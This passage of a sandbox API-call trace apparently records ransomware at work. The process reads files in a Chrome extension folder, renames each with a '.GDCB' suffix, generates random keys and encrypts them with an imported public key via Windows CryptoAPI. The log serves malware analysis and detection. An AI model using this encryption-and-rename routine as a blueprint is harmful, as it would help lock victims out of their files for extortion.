VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0277.695] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0277.698] ReadFile (in: hFile=0x424, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d160*=0x828, lpOverlapped=0x0) returned 1 [0277.769] VirtualAlloc (lpAddress=0x0, dwSize=0x830, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0277.775] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\index.html.gdcb")) returned 1 [0277.779] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0277.783] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.785] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.785] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0277.785] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.785] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0277.788] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.790] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.790] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0277.790] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.791] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0277.793] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d660) returned 1 [0277.793] CryptGetKeyParam (in: hKey=0x678d660, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.793] CryptEncrypt (in: hKey=0x678d660, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0277.793] GetLastError () returned 0x0 [0277.793] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0277.793] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0277.795] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d420) returned 1 [0277.795] CryptGetKeyParam (in: hKey=0x678d420, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.795] CryptEncrypt (in: hKey=0x678d420, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0277.796] GetLastError () returned 0x0 [0277.796] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.796] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0277.797] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0277.801] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0277.803] ReadFile (in: hFile=0x424, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d160*=0x3b, lpOverlapped=0x0) returned 1 [0277.812] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0277.817] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.gdcb")) returned 1 [0277.820] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0277.823] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.826] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.826] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0277.826] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.826] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0277.829] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.831] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.832] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0277.832] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0277.833] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0277.835] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d7e0) returned 1 [0277.835] CryptGetKeyParam (in: hKey=0x678d7e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.835] CryptEncrypt (in: hKey=0x678d7e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0277.835] GetLastError () returned 0x0 [0277.835] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.835] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.837] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d320) returned 1 [0277.837] CryptGetKeyParam (in: hKey=0x678d320, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.837] CryptEncrypt (in: hKey=0x678d320, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0277.837] GetLastError () returned 0x0 [0277.837] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.837] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0277.839] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0277.841] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0277.844] ReadFile (in: hFile=0x424, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d160*=0x3b, lpOverlapped=0x0) returned 1 [0277.853] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0277.858] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.gdcb")) returned 1 [0277.863] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0277.866] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.868] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0277.868] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.868] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0277.871] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.873] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.873] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0277.873] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0277.873] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.876] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d460) returned 1 [0277.876] CryptGetKeyParam (in: hKey=0x678d460, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.876] CryptEncrypt (in: hKey=0x678d460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0277.876] GetLastError () returned 0x0 [0277.876] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.876] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.879] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d5e0) returned 1 [0277.879] CryptGetKeyParam (in: hKey=0x678d5e0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.879] CryptEncrypt (in: hKey=0x678d5e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0277.879] GetLastError () returned 0x0 [0277.879] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.879] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0277.880] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0277.883] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0277.885] ReadFile (in: hFile=0x424, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d160*=0x174c, lpOverlapped=0x0) returned 1 [0277.912] VirtualAlloc (lpAddress=0x0, dwSize=0x1750, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0277.919] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.gdcb")) returned 0 [0277.921] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0277.925] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.927] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.927] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0277.927] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.927] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0277.930] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.932] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.932] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0277.932] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.932] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.935] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d620) returned 1 [0277.935] CryptGetKeyParam (in: hKey=0x678d620, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.935] CryptEncrypt (in: hKey=0x678d620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0277.935] GetLastError () returned 0x0 [0277.935] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.935] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0277.937] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x678d4a0) returned 1 [0277.937] CryptGetKeyParam (in: hKey=0x678d4a0, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0277.937] CryptEncrypt (in: hKey=0x678d4a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d120*=0x100) returned 1 [0277.937] GetLastError () returned 0x0 [0277.938] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.938] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0277.939] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xce20000 [0277.942] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xce30000 [0277.945] ReadFile (in: hFile=0x424, lpBuffer=0xce30000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0xce30000*, lpNumberOfBytesRead=0x285d160*=0x945, lpOverlapped=0x0) returned 1 [0277.953] VirtualAlloc (lpAddress=0x0, dwSize=0x950, flAllocationType=0x3000, flProtect=0x4) returned 0xcf40000 [0277.959] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.gdcb")) returned 0 [0277.962] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0277.965] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.967] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.967] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0277.967] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.967] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0277.969] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0277.971] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0277.972] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0277.972] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.972] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0277.974] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d3e0) returned 1 [0277.974] CryptGetKeyParam (in: hKey=0x678d3e0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.974] CryptEncrypt (in: hKey=0x678d3e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce00000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0xce00000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0277.975] GetLastError () returned 0x0 [0277.975] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0277.975] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0277.977] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x678d4e0) returned 1 [0277.977] CryptGetKeyParam (in: hKey=0x678d4e0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0277.977] CryptEncrypt (in: hKey=0x678d4e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xce10000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0xce10000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0277.977] GetLastError () returned 0x0 [0277.977] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0277.977] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user 